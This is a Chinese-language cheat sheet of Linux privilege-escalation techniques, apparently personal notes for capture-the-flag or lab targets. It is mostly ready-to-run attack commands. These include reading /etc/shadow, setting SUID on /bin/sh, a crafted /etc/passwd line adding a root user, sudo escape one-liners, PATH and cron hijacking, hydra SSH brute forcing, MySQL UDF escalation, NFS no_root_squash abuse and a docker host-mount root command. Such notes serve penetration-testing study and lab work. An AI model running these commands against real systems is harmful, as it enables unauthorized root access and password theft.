-- 基础 --
线索
history #查看历史使用的指令
id #显示用户的id,以及所属群组的id
pwd #显示当权路径
whoami #显示当前用户
sudo -l #查看所用用户可用sudo执行的指令
uname -a #查看内核版本
cat /etc/issue
cat /etc/*-release #查看发行版
cat /etc/fstab #查看磁盘格式
dpkg -l
rpm -qa #查看已经安装的程序
cat /etc/passwd
cat /etc/shadow
netstat -antup #查看各种网络服务
增加shell的交互性
python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/sh')"
切换用户
su <用户名> (要输入密码, 有root权限就不用输入密码)
- 有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入
python -c "import pty;pty.spawn('/bin/bash')"就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了
工具
- curl: 发送特定请求, 并接收响应
- ssh: 用于安全远程管理和文件传输的网络协议, 提供了一种安全的方式来连接到远程计算机,允许用户执行命令、管理网络服务和传输文件
- FTP: "文件传输协议"的缩写,是一种用于在计算机网络上进行文件传输的标准网络协议
信息收集
/var/mail/文件夹查看个人邮件
/home/管理员 查看管理员的家目录(注意隐藏文件)
/etc/mysql/my.cnf 保存了mysql密码, 或者网站目录中调用了mysql的必定会包含密码
提权指令
- 简介: 当能够使用高权限执行单个命令时, 想要得到高权限shell可以执行以下命令
- 给
/bin/shSUID权限: chmod u+s /bin/sh
- 执行
/bin/sh: /bin/sh
- 反弹shell: [[反弹shell]]
- 写ssh-keygen公钥
前提: /etc/ssh/sshd_config中的PubkeyAuthentication配置项为yes(默认yes)
在攻击机上 使用ssh-keygen生成私钥/公钥对,
将公钥(.pub文件)内容追加到靶机的~/.ssh/authorized_keys中
随后即可使用ssh免密连接到靶机的对应用户
注: /etc/ssh/sshd_config中的PermitRootLogin配置项(默认为prohibit-password)为 prohibit-password时代表ssh可以公私钥登录, 但不能通过密码; 为yes代表两种方式都可; 为no代表两种方式都不可
-- 提权 --
内核漏洞提权
- 查看版本:
uname -a
- 搜索exp:
searchsploit linux x.xx.x | grep 'Privilege Escalation'
- 上传exp后执行(部分exp要编译)
SUID 可执行文件提权
- SUID 介绍:
SUID是一种文件执行权限, 出现在文件拥有者权限的执行位上(s)
具有这种权限的文件在其执行时,会使调用者暂时获得该文件拥有者的权限
其目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作
但同时我们也可以在执行时将权限提升为root
- SUID 原理: SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID
Real UID: 执行该进程的用户的UID (Real UID只用于标识用户, 不用于权限检查)
Effective UID(EUID):进程执行时生效的UID, 在对访问目标进行操作时,系统会检查EUID是否有权限(一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID)
Saved UID:在高权限用户降权后,保留的UID
- 搜索 SUID:
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
(可用which find查看是否有find指令, 用ls -l xxx查看find权限)
- SUID 文件利用:
- (若可执行文件非二进制且可写入)则将注入代码写入脚本, 后执行
- (若找到相关的知名指令)使用相关整理好的指令
- (若文件执行了linux命令并可知是什么)将命令通过软链接劫持
劫持: 创建软链接 ln -s /bin/sh linux命令 并添加到环境变量最前面export PATH=.:$PATH
在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高
/etc/passwd 修改提权
- 前提:
/etc/passwd有写入权限
- 利用: 写入新用户 修改root用户密码 或 将当前使用用户写成root权限
- payload:
syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
- 后续: 切换用户(写入新用户 修改root用户密码) 重新获取shell(将当前使用用户写成root权限)
/etc/shadow 读取提权
- 前提:
/etc/shadow可读
- 利用: 得到root用户密码的哈希值, 用[[hashcat]]或[[john]]爆破
密码复用提权
- 原理: 很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码
- 获取: 查看web后台密码 数据库密码 中间件密码 应用密码 (通过查看相关文件)
- 利用: 用密码尝试
sudo ssh su等
- 注意: 获取的重复密码也可能是 其它用户密码(查看/etc/passwd来得知用户), 一般为维护服务器的用户
定时任务文件提权
- 基础: [[Linux文件#/etc/cronXXX]] [[Linux文件#/var/spool/cron/]]
- 原理:
在/etc/cronXXX中储存系统级定时任务文件, 每过一定时间就会以crontab中指定用户权限执行
在/var/spool/cron/中储存用户级定时任务文件, 每过一定时间就会以对应用户权限执行
- 利用:
当有权写入的定时文件(ls -l /etc/cron* ls -l /var/spool/cron/), 写入提权指令
打印文件内容, 发现 有权修改 定时任务所执行的 可执行文件 内容, 写入提权指令到可执行文件
打印文件内容, 发现可以劫持 定时任务所执行的 指令, 劫持提权
- 注: linux中的定时任务的执行shell环境一般是sh, 所以最好不要在其中直接执行bash指令
SUDO 提权
- 原理: 使用sudo指令可以只使用当前用户就使用root权限
- 前提: 知道当前使用用户的密码
- 查看: 使用
sudo -l查看当前用户使用sudo支持运行的指令
- 限制绕过: 服务器可能限制sudo运行敏感的指令
- 使用
sudo su, sudo /bin/bash, sudo /bin/sh 等直接获得root权限
- 使用
sudo vi /etc/sudoers或其它编辑器, 将支持运行的指令改为ALL=(ALL:ALL) ALL
- 使用
sudo git -p help后再输入!/bin/bash等指令
- 使用
sudo find / -exec bash ;
- 使用
sudo perl -e 'exec bash'或sudo perl -e 'exec "/bin/bash";'
- 使用
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
- 使用
sudo less 随便一个文件后再输入!bash
- 使用
sudo awk 'BEGIN {system("/bin/bash")}'
- 使用
sudo man man后输入!bash
- 使用
sudo vi/vim 进入编辑界面后 !bash
- 如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去, 例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可
- 使用
sudo env /bin/bash
- 使用
sudo ftp后输入!bash
- 使用
sudo 反弹shell指令, 然后进行root权限反弹shell
- 使用
sudo cp将被限制的指令复制到其它路径,之后就可以运行(前提是在ALL基础上设置限制)
- 其它指令
环境变量劫持提权
- 原理: 执行指令时, 会在环境变量指定目录中依次检索, 越前的目录检索优先级更高, 所以可劫持指令
- 前提: 系统以root权限执行某指令 (配合 SUID文件 or 定时任务 or 管理员执行指令/脚本)
若已知在<目录>下执行ps指令
export PATH=/<目录>:$PATH
echo "/bin/sh" > /<目录>/ps
cp /bin/sh /<目录>/ps
ln -s /bin/sh /<目录>/ps
chmod 777 /<目录>/ps
用户密码爆破
- 获取用户名: 通过查看
/home或/etc/passwd来获取 可爆破 用户名
- ssh爆破:
hydra -l <用户名> -P <字典> -f ssh://<ip地址>
hydra -L <用户名字典> -P <字典> -f ssh://<ip地址>
字典:/home/kali/Desktop/wordlist/rockyou.txt.gz
-- 其它提权 --
数据库提权
UDF 提权(MYSQL)(待定)
- 前提:
secure_file_priv选项为空(不是NULL), 或包含了对应目录
对应目录有写入权限
- 结果: 获取启动MYSQL服务的用户的权限
- 原理: MYSQL可以自行定义函数, 方法是在对应目录下放置动态链接库文件(.so与.dll), 通过让MYSQL执行自定义函数(带有终端指令)来以对应权限执行终端指令
- 对应目录(MYSQL>=5.1):
MYSQL安装目录/lib/plugin目录
MYSQL安装目录: 用 show variables like '%plugin%'; 或 select @@basedir; 查询
- 动态链接库文件:
/usr/share/sqlmap/data/udf/mysql
注: 其中的文件为防止误杀被编码过, 需使用/usr/share/sqlmap/extra/cloak/cloak.py解码
指令: python3 cloak.py -d -i 解码前文件.so_ -o 解码后文件.so
/usr/share/metasploit-framework/data/exploits/mysql
注: 可直接使用
MOF 提权(Windows)
启动项提权(Windows)
CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)
其它
NFS 提权
- 简介: NFS是一种分布式文件系统协议,NFS允许系统通过网络与其他人共享目录和文件
- 前提: NFS参数设置为
no_root_squash, 且分享目录的是 root
root_sqaush参数阻止对连接到NFS卷的远程root用户具有root访问权限, no_root_squash则不阻止
- 利用:
目标机: 查看/etc/exports文件, 找到配置为no_root_squash共享目录
攻击机: sudo mount <目标ip>:<共享目录> <本地挂载目录>, 然后在本地挂载目录中写入SUID文件提权
Docker 提权
- 原理: docker创建的容器内默认为root用户, 而docker可以将文件夹挂载卷到主机上, 所以可以利用提权
- 前提: 用户有权执行docker指令 (当用户在docker用户组时, 即可无需root使用docker)
- 利用:
docker run -v /:/hostOS -it chrisfosterelli/rootplease